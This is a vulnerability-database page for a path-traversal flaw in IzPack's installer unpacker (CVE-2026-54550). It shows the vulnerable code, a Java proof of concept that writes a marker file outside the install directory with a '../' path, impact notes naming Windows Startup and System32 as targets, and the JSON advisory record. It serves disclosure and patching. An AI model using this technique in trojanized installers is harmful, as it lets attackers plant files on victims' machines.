GHSA-F63G-88CJ-HJF9
Vulnerability from github – Published: 2026-08-26 14:24 – Updated: 2026-08-26 14:24Summary
IzPack's UnpackerBase.unpack() resolves pack-file target paths without any
canonical-path or directory-containment check. An attacker who distributes a
trojanized installer JAR (the format is unsigned) can include pack entries whose
targetPath contains ../ sequences. When a victim runs the installer the
file is written to an attacker-chosen location on disk under the victim's
privileges — including startup folders, PATH directories, or system locations.
Details
Vulnerable method: com.izforge.izpack.installer.unpacker.UnpackerBase.unpack()
Source file: izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java
Vulnerable lines (5.2.4): ~618–627
The relevant code path is:
String targetPath = packFile.getTargetPath(); // attacker-controlled
String path = IoHelper.translatePath(targetPath, variables); // separator swap ONLY
File target = new File(path); // no canonical check
// ... mkdirs() then file is written to `target`
IoHelper.translatePath() (source: izpack-util/.../IoHelper.java) performs
only file-separator character conversion ('/' ↔ File.separatorChar) and
contains no security validation whatsoever. There is no call to
getCanonicalPath(), no startsWith(installDir) containment check, and no
normalisation of .. segments.
Because IzPack installer JARs carry no digital signature, an attacker can
repack any legitimate installer with malicious PackFile entries. The file
format is a standard ZIP with serialised resources — no integrity protection.
Confirmed unpatched in HEAD (fetched from GitHub, 2025):
git show HEAD:izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java \
| grep -n 'getCanonicalPath\|startsWith.*install\|traversal'
# (no output — fix not present)
PoC
# 1. Clone IzPack source and view the vulnerable code directly
git clone --depth=1 --branch izpack-5.2.4 https://github.com/izpack/izpack.git
sed -n '615,650p' izpack/izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java
# 2. Compile and run the following Java reproducer (no IzPack classpath needed):
// TestPathTraversal.java
import java.io.*;
public class TestPathTraversal {
// Exact replication of IoHelper.translatePath() — separator swap, no security
static String translatePath(String destination) {
return destination.replace('/', File.separatorChar);
}
public static void main(String[] args) throws Exception {
String installDir = "/tmp/izpack_install";
String maliciousPath = installDir + "/../../../tmp/ESCAPED_FILE";
// This is what UnpackerBase does:
String path = translatePath(maliciousPath);
File target = new File(path); // resolves traversal
target.getParentFile().mkdirs();
try (FileWriter fw = new FileWriter(target)) {
fw.write("Written outside install dir via IzPack path traversal\n");
}
System.out.println("File written to: " + target.getCanonicalPath());
System.out.println("Inside installDir: " +
target.getCanonicalPath().startsWith(new File(installDir).getCanonicalPath()));
}
}
javac TestPathTraversal.java && java TestPathTraversal
# Output: File written to: /tmp/ESCAPED_FILE
# Inside installDir: false
Impact
Any user who runs an IzPack-generated installer is affected. The attacker only
needs to distribute a repackaged installer — a common social-engineering vector.
On Windows (the primary IzPack platform) the victim typically runs the installer
as a local administrator, so the attacker can write to %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup,
%SystemRoot%\System32, or any other location reachable by the victim user.
On Linux/macOS the same applies for user-writable locations.
No authentication, no special privileges and no interaction beyond running the installer are required on the victim side.
Credits
This issue was identified by Michał Majchrowicz, Marcin Wyczechowski, and Paweł Zdunek, members of the AFINE Team.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.codehaus.izpack:izpack-installer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "5.2.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54550"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-26T14:24:40Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nIzPack\u0027s `UnpackerBase.unpack()` resolves pack-file target paths without any\ncanonical-path or directory-containment check. An attacker who distributes a\ntrojanized installer JAR (the format is unsigned) can include pack entries whose\n`targetPath` contains `../` sequences. When a victim runs the installer the\nfile is written to an attacker-chosen location on disk under the victim\u0027s\nprivileges \u2014 including startup folders, PATH directories, or system locations.\n\n### Details\n\n**Vulnerable method:** `com.izforge.izpack.installer.unpacker.UnpackerBase.unpack()`\n**Source file:** `izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java`\n**Vulnerable lines (5.2.4):** ~618\u2013627\n\nThe relevant code path is:\n\n```java\nString targetPath = packFile.getTargetPath(); // attacker-controlled\nString path = IoHelper.translatePath(targetPath, variables); // separator swap ONLY\nFile target = new File(path); // no canonical check\n// ... mkdirs() then file is written to `target`\n```\n\n`IoHelper.translatePath()` (source: `izpack-util/.../IoHelper.java`) performs\n**only** file-separator character conversion (`\u0027/\u0027` \u2194 `File.separatorChar`) and\ncontains no security validation whatsoever. There is no call to\n`getCanonicalPath()`, no `startsWith(installDir)` containment check, and no\nnormalisation of `..` segments.\n\nBecause IzPack installer JARs carry **no digital signature**, an attacker can\nrepack any legitimate installer with malicious `PackFile` entries. The file\nformat is a standard ZIP with serialised resources \u2014 no integrity protection.\n\n**Confirmed unpatched in HEAD (fetched from GitHub, 2025):**\n```\ngit show HEAD:izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java \\\n | grep -n \u0027getCanonicalPath\\|startsWith.*install\\|traversal\u0027\n# (no output \u2014 fix not present)\n```\n\n### PoC\n\n```bash\n# 1. Clone IzPack source and view the vulnerable code directly\ngit clone --depth=1 --branch izpack-5.2.4 https://github.com/izpack/izpack.git\nsed -n \u0027615,650p\u0027 izpack/izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java\n\n# 2. Compile and run the following Java reproducer (no IzPack classpath needed):\n```\n\n```java\n// TestPathTraversal.java\nimport java.io.*;\n\npublic class TestPathTraversal {\n // Exact replication of IoHelper.translatePath() \u2014 separator swap, no security\n static String translatePath(String destination) {\n return destination.replace(\u0027/\u0027, File.separatorChar);\n }\n\n public static void main(String[] args) throws Exception {\n String installDir = \"/tmp/izpack_install\";\n String maliciousPath = installDir + \"/../../../tmp/ESCAPED_FILE\";\n\n // This is what UnpackerBase does:\n String path = translatePath(maliciousPath);\n File target = new File(path); // resolves traversal\n target.getParentFile().mkdirs();\n try (FileWriter fw = new FileWriter(target)) {\n fw.write(\"Written outside install dir via IzPack path traversal\\n\");\n }\n System.out.println(\"File written to: \" + target.getCanonicalPath());\n System.out.println(\"Inside installDir: \" +\n target.getCanonicalPath().startsWith(new File(installDir).getCanonicalPath()));\n }\n}\n```\n\n```bash\njavac TestPathTraversal.java \u0026\u0026 java TestPathTraversal\n# Output: File written to: /tmp/ESCAPED_FILE\n# Inside installDir: false\n```\n\n### Impact\n\nAny user who runs an IzPack-generated installer is affected. The attacker only\nneeds to distribute a repackaged installer \u2014 a common social-engineering vector.\nOn Windows (the primary IzPack platform) the victim typically runs the installer\nas a local administrator, so the attacker can write to `%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup`,\n`%SystemRoot%\\System32`, or any other location reachable by the victim user.\nOn Linux/macOS the same applies for user-writable locations.\n\nNo authentication, no special privileges and no interaction beyond running the\ninstaller are required on the victim side.\n\n### Credits\nThis issue was identified by Micha\u0142 Majchrowicz, Marcin Wyczechowski, and Pawe\u0142 Zdunek, members of the AFINE Team.",
"id": "GHSA-f63g-88cj-hjf9",
"modified": "2026-08-26T14:24:40Z",
"published": "2026-08-26T14:24:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/izpack/izpack/security/advisories/GHSA-f63g-88cj-hjf9"
},
{
"type": "WEB",
"url": "https://github.com/izpack/izpack/pull/1193"
},
{
"type": "WEB",
"url": "https://github.com/izpack/izpack/commit/4233ba38d0f1825f9cf3e0204e5261a5498e29d8"
},
{
"type": "WEB",
"url": "https://github.com/izpack/izpack/commit/8b7c6792c4fe85e3b1759c106aae39b904848466"
},
{
"type": "PACKAGE",
"url": "https://github.com/izpack/izpack"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "IzPack has Path Traversal in UnpackerBase that allows writing files outside the installation directory via malicious pack entries"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.